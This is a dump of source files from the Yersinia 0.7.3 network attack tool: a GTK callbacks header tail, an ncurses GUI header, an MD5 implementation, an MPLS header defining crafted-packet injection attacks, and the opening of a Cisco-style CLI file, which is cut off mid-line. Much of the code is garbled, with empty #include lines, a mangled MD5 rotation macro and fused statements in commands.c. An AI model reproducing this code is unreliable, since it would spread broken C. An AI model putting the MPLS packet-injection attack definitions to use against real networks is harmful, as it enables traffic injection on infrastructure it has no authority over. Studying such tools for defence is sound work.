gpointer); void gtk_c_on_menu_actions_load_default_activate (GtkMenuItem *menuitem, gpointer); void gtk_c_on_menu_actions_list_attacks_activate (GtkMenuItem *menuitem, gpointer); void on_menu_actions_clear_activate (GtkMenuItem *, GtkWidget *); void gtk_c_on_menu_options_edit_toggle (GtkWidget *, gpointer); void on_menu_options_macspoofing_toggle (GtkCheckMenuItem *, struct term_node *); void on_help_about_activate(GtkMenuItem *menuitem, gpointer user_data); void gtk_c_on_actions_clear_activate(GtkMenuItem *, gpointer); void gtk_c_on_capture_activate(GtkMenuItem *, gpointer); void gtk_c_capturedialog_save(GtkWidget *, gpointer); void gtk_c_attacks_synchro(GtkNotebook *, GtkNotebookPage *, guint, gpointer); void gtk_c_attacks_radio_changed(GtkWidget *, gpointer); void gtk_c_attacks_launch(GtkWidget *, gpointer); void gtk_c_attackparams_launch(GtkWidget *, gpointer); void gtk_c_listattacks_destroyall(GtkWidget *, gpointer); void gtk_c_update_hexview(GtkTreeSelection *, gpointer); void gtk_c_clock_update(GtkWidget *); void gtk_c_tree_update(GtkWidget *); void gtk_c_refresh_mwindow_notebook(GtkNotebook *, GtkNotebookPage *, guint, gpointer); gboolean gtk_c_refresh_mwindow(gpointer); void gtk_c_tree_selection_changed_cb (GtkTreeSelection *, gpointer); void gtk_c_toggle_interface(GtkWidget *, struct term_node *); gboolean gtk_c_view_onPopupMenu(GtkWidget *, gpointer); void gtk_c_view_popup_menu(GtkWidget *, gpointer); gboolean gtk_c_view_onButtonPressed (GtkWidget *treeview, GdkEventButton *event, gpointer userdata); void gtk_c_on_extra_button_clicked(GtkButton *, gpointer); void gtk_c_extra_button_add_clicked(GtkButton *, gpointer); void gtk_c_add_extra_button_add_ok_clicked(GtkButton *, gpointer); /* External functions */ extern void write_log( u_int16_t mode, char *msg, ... ); #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/ncurses-gui.h0000644000175000017500000000454312234207266014364 0ustar nknk/* ncurses-gui.h * Definitions for the ncurses GUI * * $Id: ncurses-gui.h 43 2007-04-27 11:07:17Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __NCURSES_GUI_H__ #define __NCURSES_GUI_H__ #if defined(USE_NCURSES) && !defined(RENAMED_NCURSES) #include #else #include #endif #ifdef HAVE_PANEL_H #include #endif #include #include "thread-util.h" #include "terminal-defs.h" #include "admin.h" #include "interfaces.h" #include "attack.h" #include "parser.h" #define NCURSES_MAX_WINDOWS 11 void ncurses_gui(void *); void ncurses_gui_th_exit(struct term_node *); /* Global stuff */ extern void thread_error(char *, int8_t); extern u_int32_t uptime; extern struct term_tty *tty_tmp; extern int8_t parser_write_config_file(struct term_tty *); extern int8_t parser_get_formated_inet_address(u_int32_t, char *, u_int16_t); /* Terminal stuff */ extern struct terminals *terms; extern int8_t term_add_node(struct term_node **, int8_t, int32_t, pthread_t); /* Attack stuff */ extern int8_t attack_stp_learn_packet(void); extern int8_t attack_launch(struct term_node *, u_int16_t, u_int16_t, struct attack_param *, u_int8_t); extern int8_t attack_kill_th(struct term_node *, pthread_t ); extern int8_t attack_init_params(struct term_node *, struct attack_param *, u_int8_t); extern int8_t attack_filter_all_params(struct attack_param *, u_int8_t, u_int8_t *); extern void attack_free_params(struct attack_param *, u_int8_t); #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/md5.c0000644000175000017500000003030012234207266012566 0ustar nknk/* md5.c * This code implements the MD5 message-digest algorithm. * The algorithm is due to Ron Rivest. This code was * written by Colin Plumb in 1993, no copyright is claimed. * This code is in the public domain; do with it what you wish. * * Equivalent code is available from RSA Data Security, Inc. * This code has been tested against that, and is equivalent, * except that you don't need to include two pages of legalese * with every copy. * * To compute the message digest of a chunk of bytes, declare an * MD5Context structure, pass it to MD5Init, call MD5Update as * needed on buffers full of bytes, and then call MD5Final, which * will fill a supplied 16-byte array with the digest. */ #ifndef lint static const char rcsid[] = "$Id: md5.c 2 2006-04-03 21:04:25Z tomac $"; #endif #ifdef HAVE_CONFIG_H #include #endif #ifdef HAVE_SYS_TYPES_H #include #endif #ifdef HAVE_INTTYPES_H #include #endif #include /* for memcpy() */ #include "md5.h" #ifdef WORDS_BIGENDIAN void byteReverse(unsigned char *buf, unsigned longs); #ifndef ASM_MD5 void byteReverse(unsigned char *buf, unsigned longs) { u_int32_t t; do { t = (u_int32_t) ((unsigned) buf[3] << 8 | buf[2]) << 16 | ((unsigned) buf[1] << 8 | buf[0]); *(u_int32_t *) buf = t; buf += 4; } while (--longs); } #endif #else #define byteReverse(buf, len) #endif /* * Start MD5 accumulation. Set bit count to 0 and buffer to mysterious * initialization constants. */ void MD5Init(struct MD5Context *ctx) { ctx->buf[0] = 0x67452301; ctx->buf[1] = 0xefcdab89; ctx->buf[2] = 0x98badcfe; ctx->buf[3] = 0x10325476; ctx->bits[0] = 0; ctx->bits[1] = 0; } /* * Update context to reflect the concatenation of another buffer full * of bytes. */ void MD5Update(struct MD5Context *ctx, unsigned char const *buf, unsigned len) { u_int32_t t; /* Update bitcount */ t = ctx->bits[0]; if ((ctx->bits[0] = t + ((u_int32_t) len << 3)) < t) ctx->bits[1]++; /* Carry from low to high */ ctx->bits[1] += len >> 29; t = (t >> 3) & 0x3f; /* Bytes already in shsInfo->data */ /* Handle any leading odd-sized chunks */ if (t) { unsigned char *p = (unsigned char *) ctx->in + t; t = 64 - t; if (len < t) { memcpy(p, buf, len); return; } memcpy(p, buf, t); byteReverse(ctx->in, 16); MD5Transform(ctx->buf, (u_int32_t *) ctx->in); buf += t; len -= t; } /* Process data in 64-byte chunks */ while (len >= 64) { memcpy(ctx->in, buf, 64); byteReverse(ctx->in, 16); MD5Transform(ctx->buf, (u_int32_t *) ctx->in); buf += 64; len -= 64; } /* Handle any remaining bytes of data. */ memcpy(ctx->in, buf, len); } /* * Final wrapup - pad to 64-byte boundary with the bit pattern * 1 0* (64-bit count of bits processed, MSB-first) */ void MD5Final(unsigned char digest[16], struct MD5Context *ctx) { unsigned count; unsigned char *p; /* Compute number of bytes mod 64 */ count = (ctx->bits[0] >> 3) & 0x3F; /* Set the first char of padding to 0x80. This is safe since there is always at least one byte free */ p = ctx->in + count; *p++ = 0x80; /* Bytes of padding needed to make 64 bytes */ count = 64 - 1 - count; /* Pad out to 56 mod 64 */ if (count < 8) { /* Two lots of padding: Pad the first block to 64 bytes */ memset(p, 0, count); byteReverse(ctx->in, 16); MD5Transform(ctx->buf, (u_int32_t *) ctx->in); /* Now fill the next block with 56 bytes */ memset(ctx->in, 0, 56); } else { /* Pad block to 56 bytes */ memset(p, 0, count - 8); } byteReverse(ctx->in, 14); /* Append length in bits and transform */ ((u_int32_t *) ctx->in)[14] = ctx->bits[0]; ((u_int32_t *) ctx->in)[15] = ctx->bits[1]; MD5Transform(ctx->buf, (u_int32_t *) ctx->in); byteReverse((unsigned char *) ctx->buf, 4); memcpy(digest, ctx->buf, 16); memset(ctx, 0, sizeof(ctx)); /* In case it's sensitive */ } #ifndef ASM_MD5 /* The four core functions - F1 is optimized somewhat */ /* #define F1(x, y, z) (x & y | ~x & z) */ #define F1(x, y, z) (z ^ (x & (y ^ z))) #define F2(x, y, z) F1(z, x, y) #define F3(x, y, z) (x ^ y ^ z) #define F4(x, y, z) (y ^ (x | ~z)) /* This is the central step in the MD5 algorithm. */ #ifdef __PUREC__ #define MD5STEP(f, w, x, y, z, data, s) \ ( w += f /*(x, y, z)*/ + data, w = w<>(32-s), w += x ) #else #define MD5STEP(f, w, x, y, z, data, s) \ ( w += f(x, y, z) + data, w = w<>(32-s), w += x ) #endif /* * The core of the MD5 algorithm, this alters an existing MD5 hash to * reflect the addition of 16 longwords of new data. MD5Update blocks * the data and converts bytes into longwords for this routine. */ void MD5Transform(u_int32_t buf[4], u_int32_t const in[16]) { register u_int32_t a, b, c, d; a = buf[0]; b = buf[1]; c = buf[2]; d = buf[3]; #ifdef __PUREC__ /* PureC Weirdness... (GG) */ MD5STEP(F1(b,c,d), a, b, c, d, in[0] + 0xd76aa478L, 7); MD5STEP(F1(a,b,c), d, a, b, c, in[1] + 0xe8c7b756L, 12); MD5STEP(F1(d,a,b), c, d, a, b, in[2] + 0x242070dbL, 17); MD5STEP(F1(c,d,a), b, c, d, a, in[3] + 0xc1bdceeeL, 22); MD5STEP(F1(b,c,d), a, b, c, d, in[4] + 0xf57c0fafL, 7); MD5STEP(F1(a,b,c), d, a, b, c, in[5] + 0x4787c62aL, 12); MD5STEP(F1(d,a,b), c, d, a, b, in[6] + 0xa8304613L, 17); MD5STEP(F1(c,d,a), b, c, d, a, in[7] + 0xfd469501L, 22); MD5STEP(F1(b,c,d), a, b, c, d, in[8] + 0x698098d8L, 7); MD5STEP(F1(a,b,c), d, a, b, c, in[9] + 0x8b44f7afL, 12); MD5STEP(F1(d,a,b), c, d, a, b, in[10] + 0xffff5bb1L, 17); MD5STEP(F1(c,d,a), b, c, d, a, in[11] + 0x895cd7beL, 22); MD5STEP(F1(b,c,d), a, b, c, d, in[12] + 0x6b901122L, 7); MD5STEP(F1(a,b,c), d, a, b, c, in[13] + 0xfd987193L, 12); MD5STEP(F1(d,a,b), c, d, a, b, in[14] + 0xa679438eL, 17); MD5STEP(F1(c,d,a), b, c, d, a, in[15] + 0x49b40821L, 22); MD5STEP(F2(b,c,d), a, b, c, d, in[1] + 0xf61e2562L, 5); MD5STEP(F2(a,b,c), d, a, b, c, in[6] + 0xc040b340L, 9); MD5STEP(F2(d,a,b), c, d, a, b, in[11] + 0x265e5a51L, 14); MD5STEP(F2(c,d,a), b, c, d, a, in[0] + 0xe9b6c7aaL, 20); MD5STEP(F2(b,c,d), a, b, c, d, in[5] + 0xd62f105dL, 5); MD5STEP(F2(a,b,c), d, a, b, c, in[10] + 0x02441453L, 9); MD5STEP(F2(d,a,b), c, d, a, b, in[15] + 0xd8a1e681L, 14); MD5STEP(F2(c,d,a), b, c, d, a, in[4] + 0xe7d3fbc8L, 20); MD5STEP(F2(b,c,d), a, b, c, d, in[9] + 0x21e1cde6L, 5); MD5STEP(F2(a,b,c), d, a, b, c, in[14] + 0xc33707d6L, 9); MD5STEP(F2(d,a,b), c, d, a, b, in[3] + 0xf4d50d87L, 14); MD5STEP(F2(c,d,a), b, c, d, a, in[8] + 0x455a14edL, 20); MD5STEP(F2(b,c,d), a, b, c, d, in[13] + 0xa9e3e905L, 5); MD5STEP(F2(a,b,c), d, a, b, c, in[2] + 0xfcefa3f8L, 9); MD5STEP(F2(d,a,b), c, d, a, b, in[7] + 0x676f02d9L, 14); MD5STEP(F2(c,d,a), b, c, d, a, in[12] + 0x8d2a4c8aL, 20); MD5STEP(F3(b,c,d), a, b, c, d, in[5] + 0xfffa3942L, 4); MD5STEP(F3(a,b,c), d, a, b, c, in[8] + 0x8771f681L, 11); MD5STEP(F3(d,a,b), c, d, a, b, in[11] + 0x6d9d6122L, 16); MD5STEP(F3(c,d,a), b, c, d, a, in[14] + 0xfde5380cL, 23); MD5STEP(F3(b,c,d), a, b, c, d, in[1] + 0xa4beea44L, 4); MD5STEP(F3(a,b,c), d, a, b, c, in[4] + 0x4bdecfa9L, 11); MD5STEP(F3(d,a,b), c, d, a, b, in[7] + 0xf6bb4b60L, 16); MD5STEP(F3(c,d,a), b, c, d, a, in[10] + 0xbebfbc70L, 23); MD5STEP(F3(b,c,d), a, b, c, d, in[13] + 0x289b7ec6L, 4); MD5STEP(F3(a,b,c), d, a, b, c, in[0] + 0xeaa127faL, 11); MD5STEP(F3(d,a,b), c, d, a, b, in[3] + 0xd4ef3085L, 16); MD5STEP(F3(c,d,a), b, c, d, a, in[6] + 0x04881d05L, 23); MD5STEP(F3(b,c,d), a, b, c, d, in[9] + 0xd9d4d039L, 4); MD5STEP(F3(a,b,c), d, a, b, c, in[12] + 0xe6db99e5L, 11); MD5STEP(F3(d,a,b), c, d, a, b, in[15] + 0x1fa27cf8L, 16); MD5STEP(F3(c,d,a), b, c, d, a, in[2] + 0xc4ac5665L, 23); MD5STEP(F4(b,c,d), a, b, c, d, in[0] + 0xf4292244L, 6); MD5STEP(F4(a,b,c), d, a, b, c, in[7] + 0x432aff97L, 10); MD5STEP(F4(d,a,b), c, d, a, b, in[14] + 0xab9423a7L, 15); MD5STEP(F4(c,d,a), b, c, d, a, in[5] + 0xfc93a039L, 21); MD5STEP(F4(b,c,d), a, b, c, d, in[12] + 0x655b59c3L, 6); MD5STEP(F4(a,b,c), d, a, b, c, in[3] + 0x8f0ccc92L, 10); MD5STEP(F4(d,a,b), c, d, a, b, in[10] + 0xffeff47dL, 15); MD5STEP(F4(c,d,a), b, c, d, a, in[1] + 0x85845dd1L, 21); MD5STEP(F4(b,c,d), a, b, c, d, in[8] + 0x6fa87e4fL, 6); MD5STEP(F4(a,b,c), d, a, b, c, in[15] + 0xfe2ce6e0L, 10); MD5STEP(F4(d,a,b), c, d, a, b, in[6] + 0xa3014314L, 15); MD5STEP(F4(c,d,a), b, c, d, a, in[13] + 0x4e0811a1L, 21); MD5STEP(F4(b,c,d), a, b, c, d, in[4] + 0xf7537e82L, 6); MD5STEP(F4(a,b,c), d, a, b, c, in[11] + 0xbd3af235L, 10); MD5STEP(F4(d,a,b), c, d, a, b, in[2] + 0x2ad7d2bbL, 15); MD5STEP(F4(c,d,a), b, c, d, a, in[9] + 0xeb86d391L, 21); #else MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7); MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12); MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17); MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22); MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7); MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12); MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17); MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22); MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7); MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12); MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17); MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22); MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7); MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12); MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17); MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22); MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5); MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9); MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14); MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20); MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5); MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9); MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14); MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20); MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5); MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9); MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14); MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20); MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5); MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9); MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14); MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20); MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4); MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11); MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16); MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23); MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4); MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11); MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16); MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23); MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4); MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11); MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16); MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23); MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4); MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11); MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16); MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23); MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6); MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10); MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15); MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21); MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6); MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10); MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15); MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21); MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6); MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10); MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15); MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21); MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6); MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10); MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15); MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21); #endif buf[0] += a; buf[1] += b; buf[2] += c; buf[3] += d; } #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=78: */ yersinia-0.7.3/src/mpls.h0000644000175000017500000002201412234207266013064 0ustar nknk/* mpls.h * Definitions for MultiProtocol Label Switching * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __MPLS_H #define __MPLS_H__ #include #include "terminal-defs.h" #include "interfaces.h" static struct proto_features mpls_features[] = { { F_ETHERTYPE, ETHERTYPE_MPLS }, { -1, 0 } }; struct mpls_header { u_int8_t byte0; u_int8_t byte1; u_int8_t byte2; u_int8_t byte3; }; #define MPLS_GET_LABEL(x) ( ( ( ( (struct mpls_header *)(x))->byte0 ) << 0x0C ) + \ ( ( ( (struct mpls_header *)(x))->byte1 ) << 0x04 ) + \ ( ( ( ((struct mpls_header *)(x))->byte2 ) >> 0x04 ) & 0xFF) ) #define MPLS_GET_EXP(x) ( ( ( ( (struct mpls_header *)(x))->byte2 ) >> 0x01 ) & 0x07 ) #define MPLS_GET_BOTTOM(x) ( ( ( ( (struct mpls_header *)(x))->byte2 ) & 0x01 ) ) #define MPLS_GET_TTL(x) ( ( ( ( (struct mpls_header *)(x))->byte3 ) ) ) #define MAX_IP_PAYLOAD 16 #define MPLS_DFL_MAC_DST "FF:FF:FF:FF:FF:FF" #define MPLS_DFL_SRC_IP "10.0.0.1" #define MPLS_DFL_SRC_PORT 666 #define MPLS_DFL_DST_IP "10.0.0.2" #define MPLS_DFL_DST_PORT 1998 #define MPLS_DFL_PAYLOAD "YERSINIA" #define MPLS_DFL_PAY_LEN 8 struct mpls_data { u_int8_t mac_source[ETHER_ADDR_LEN]; u_int8_t mac_dest[ETHER_ADDR_LEN]; u_int8_t proto; u_int8_t double_hdr; u_int32_t label1; u_int8_t exp1; u_int8_t bottom1; u_int8_t ttl1; u_int32_t label2; u_int8_t exp2; u_int8_t bottom2; u_int8_t ttl2; u_int32_t src_ip; u_int16_t src_port; u_int32_t dst_ip; u_int16_t dst_port; u_int8_t ip_payload[MAX_IP_PAYLOAD+1]; u_int8_t ip_pay_len; }; #define MPLS_SMAC 0 #define MPLS_DMAC 1 #define MPLS_LABEL1 2 #define MPLS_EXP1 3 #define MPLS_BOTTOM1 4 #define MPLS_TTL1 5 #define MPLS_LABEL2 6 #define MPLS_EXP2 7 #define MPLS_BOTTOM2 8 #define MPLS_TTL2 9 #define MPLS_SRC_IP 10 #define MPLS_SRC_PORT 11 #define MPLS_DST_IP 12 #define MPLS_DST_PORT 13 #define MPLS_PAYLOAD 14 struct commands_param mpls_comm_params[] = { { MPLS_SMAC, "source", "Source MAC", 6, FIELD_MAC, "Set source MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { MPLS_DMAC, "dest", "Destination MAC", 6, FIELD_MAC, "Set destination MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { MPLS_LABEL1, "label1","Label1", 4, FIELD_DEC, "Set MPLS label", " <0-65535> Label", 8, 2, 1, NULL, NULL }, { MPLS_EXP1, "exp1","Exp1", 1, FIELD_DEC, "Set MPLS Experimental bits", " <0-255> Experimental bits", 3, 2, 0, NULL, NULL }, { MPLS_BOTTOM1, "bottom1","Bottom1", 1, FIELD_DEC, "Set MPLS bottom stack flag", " <0-1> Bottom stack flag", 1, 2, 0, NULL, NULL }, { MPLS_TTL1, "ttl1","TTL1", 1, FIELD_DEC, "Set MPLS Time To Live", " <0-255> Time To Live units", 3, 2, 0, NULL, NULL }, { MPLS_LABEL2, "label2","Label2", 4, FIELD_DEC, "Set MPLS label (second)", " <0-65535> Label", 8, 3, 1, NULL, NULL }, { MPLS_EXP2, "exp2","Exp2", 1, FIELD_DEC, "Set MPLS Experimental bits (second)", " <0-255> Experimental bits", 3, 3, 0, NULL, NULL }, { MPLS_BOTTOM2, "bottom2","Bottom2", 1, FIELD_DEC, "Set MPLS bottom stack flag (second)", " <0-1> Bottom stack flag", 1, 3, 0, NULL, NULL }, { MPLS_TTL2, "ttl2","TTL2", 1, FIELD_DEC, "Set MPLS Time To Live (second)", " <0-255> Time To Live units", 3, 3, 0, NULL, NULL }, { MPLS_SRC_IP, "ipsource", "SrcIP", 4, FIELD_IP, "Set MPLS IP source data address", " A.A.A.A IPv4 address", 15, 4, 1, NULL, NULL }, { MPLS_SRC_PORT, "portsource","SrcPort", 2, FIELD_DEC, "Set TCP/UDP source port", " <0-65535> TCP/UDP source port", 5, 4, 0, NULL, NULL }, { MPLS_DST_IP, "ipdest", "DstIP", 4, FIELD_IP, "Set MPLS IP destination data address", " A.A.A.A IPv4 address", 15, 4, 1, NULL, NULL }, { MPLS_DST_PORT, "portdest", "DstPort", 2, FIELD_DEC, "Set TCP/UDP destination port", " <0-65535> TCP/UDP destination port", 5, 4, 0, NULL, NULL }, { MPLS_PAYLOAD, "payload", "Payload", MAX_IP_PAYLOAD, FIELD_STR, "Set MPLS IP payload", " WORD ASCII payload", MAX_IP_PAYLOAD, 5, 0, NULL, NULL }, { 0, "defaults", NULL, 0, FIELD_DEFAULT, "Set all values to default", " ", 0, 0, 0, NULL, NULL }, { 0, "interface", NULL, IFNAMSIZ, FIELD_IFACE, "Set network interface to use", " WORD Network interface", IFNAMSIZ, 0, 0, NULL, NULL } }; #define MPLS_ATTACK_SEND_TCP 0 #define MPLS_ATTACK_SEND_DOUBLE_TCP 1 #define MPLS_ATTACK_SEND_UDP 2 #define MPLS_ATTACK_SEND_DOUBLE_UDP 3 #define MPLS_ATTACK_SEND_ICMP 4 #define MPLS_ATTACK_SEND_DOUBLE_ICMP 5 void mpls_th_send_tcp(void *); void mpls_th_send_double_tcp(void *); void mpls_th_send_udp(void *); void mpls_th_send_double_udp(void *); void mpls_th_send_icmp(void *); void mpls_th_send_double_icmp(void *); void mpls_send(struct attacks *); void mpls_th_send_exit(struct attacks *); static struct attack mpls_attack[] = { { MPLS_ATTACK_SEND_TCP, "sending TCP MPLS packet", NONDOS, SINGLE, mpls_th_send_tcp, NULL, 0 }, { MPLS_ATTACK_SEND_DOUBLE_TCP, "sending TCP MPLS with double header", NONDOS, SINGLE, mpls_th_send_double_tcp, NULL, 0 }, { MPLS_ATTACK_SEND_UDP, "sending UDP MPLS packet", NONDOS, SINGLE, mpls_th_send_udp, NULL, 0 }, { MPLS_ATTACK_SEND_DOUBLE_UDP, "sending UDP MPLS with double header", NONDOS, SINGLE, mpls_th_send_double_udp, NULL, 0 }, { MPLS_ATTACK_SEND_ICMP, "sending ICMP MPLS packet", NONDOS, SINGLE, mpls_th_send_icmp, NULL, 0 }, { MPLS_ATTACK_SEND_DOUBLE_ICMP, "sending ICMP MPLS with double header", NONDOS, SINGLE, mpls_th_send_double_icmp, NULL, 0 }, { 0, NULL, 0, 0, NULL, NULL, 0 } }; void mpls_register(void); int8_t mpls_init_attribs(struct term_node *); int8_t mpls_init_comms_struct(struct term_node *); int8_t mpls_end(struct term_node *); int8_t mpls_update_field(int8_t state, struct term_node *node, void *value); char **mpls_get_printable_store(struct term_node *node); int8_t mpls_load_values(struct pcap_data *data, void *values); int8_t mpls_learn_packet(struct attacks *attacks, char *iface, u_int8_t *stop, void *data, struct pcap_pkthdr *header); char **mpls_get_printable_packet(struct pcap_data *data); extern void thread_libnet_error( char *, libnet_t *); extern int8_t vrfy_bridge_id( char *, u_int8_t * ); extern int8_t thread_create(pthread_t *, void *, void *); extern void write_log( u_int16_t mode, char *msg, ... ); extern int8_t attack_th_exit(struct attacks *); extern void attack_gen_mac(u_int8_t *); extern struct interface_data *interfaces_get_packet(list_t *, struct interface_data *, u_int8_t *, struct pcap_pkthdr *, u_int8_t *, u_int16_t, time_t); extern int8_t parser_vrfy_mac(char *, u_int8_t *); extern int8_t parser_get_inet_aton(char *, struct in_addr *); extern int8_t parser_get_formated_inet_address(u_int32_t, char *, u_int16_t); extern int8_t parser_get_formated_inet_address_fill(u_int32_t in, char *inet, u_int16_t inet_len, int8_t fill_up); extern int8_t parser_command2index(register const struct attack *, register int8_t); #endif yersinia-0.7.3/src/commands.c0000644000175000017500000015474512234207266013726 0ustar nknk/* commands.c * Implementation of Cisco CLI commands * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef lint static const char rcsid[] = "$Id: commands.c 46 2007-05-08 09:13:30Z slay $"; #endif #ifdef HAVE_CONFIG_H #include #endif #define _REENTRANT #include #include #ifdef HAVE_SYS_TYPES_H #include #endif #ifdef HAVE_INTTYPES_H #include #endif #include #ifdef HAVE_NETINET_IN_SYSTM_H #include #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include #endif #endif #include #include #include #include #ifdef TIME_WITH_SYS_TIME #include #endif #ifdef HAVE_UNISTD_H #include #endif #ifdef HAVE_STRING_H #include #endif #ifdef HAVE_STRINGS_H #include #endif #ifdef HAVE_BSTRING_H #include #endif #ifdef STDC_HEADERS #include #endif #include #ifdef SOLARIS #include #include #else #include #endif #include "commands.h" int8_t command_entry_point(struct term_node *node, struct words_array *warray, int8_t help, int8_t as_param, int8_t tab) { int8_t fail; fail = command_main(node,warray,0,help,as_param,ANY_PROTO,comm_common,tab); return fail; } int8_t command_main(struct term_node *node, struct words_array *warray, int16_t x, int8_t help, int8_t as_param, u_int8_t prot, struct commands *aux_comm, int8_t tab) { int8_t fail, params, last; char msg[128]; u_int8_t last_proto, proto, j, gotit, par_comm; struct commands_param *prot_comms; struct term_vty *vty = node->specific; last_proto = prot; par_comm = 0; if (warray->word[warray->indx]) { if (!(warray->word[warray->indx+1])) { params=0; last = 1; } else { params=1; last = 0; } } else { params = 0; last = 0; } if (!warray->word[warray->indx] && (help || tab)) /* We have just a help '?' or a TAB */ { fail = command_list_help(node, aux_comm, prot); vty->repeat_command = 1; return fail; } if (last && ( (help || tab) && !as_param)) /* Last word and 'set?' or 'set\t'*/ { j = gotit = 0; if (last_protoword[warray->indx], aux_comm, &j, &gotit, &proto, &par_comm, 0); if (fail < 0) return -1; if (!gotit) /* Bad word!! */ { snprintf(msg,sizeof(msg),"%% Unrecognized command: \"%s\"\r\n",vty->buf_command); fail = term_vty_write(node,msg, strlen(msg)); vty->repeat_command = 0; } else { vty->repeat_command = 1; if 